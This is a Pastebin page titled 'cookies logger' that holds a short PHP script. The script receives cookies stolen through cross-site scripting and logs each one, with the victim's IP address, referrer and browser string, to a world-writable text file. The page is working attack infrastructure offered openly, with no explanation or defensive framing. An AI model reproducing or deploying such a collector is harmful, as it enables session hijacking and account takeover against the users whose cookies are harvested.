Advertisement
i-Hmx

cookies logger

Feb 20th, 2012
344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.41 KB | None | 0 0
  1. <?php
  2.  
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4. $cookie = $_GET['c'];
  5. $referer = $_SERVER['HTTP_REFERER'];
  6. $browser = $_SERVER['HTTP_USER_AGENT'];
  7. $redirect = $_GET['redirect'];
  8.  
  9. $data = "IP: " . $ip . "\n"
  10. ."Cookie: " . $cookie . "\n"
  11. ."Referrer: " . $referer . "\n"
  12. ."Browser: " . $browser . "\n\n";
  13. $log = "ok.txt";
  14. @chmod($log, 0777);
  15. $f = fopen($log, 'a');
  16. fwrite($f, $data);
  17. fclose($f);
  18.  
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement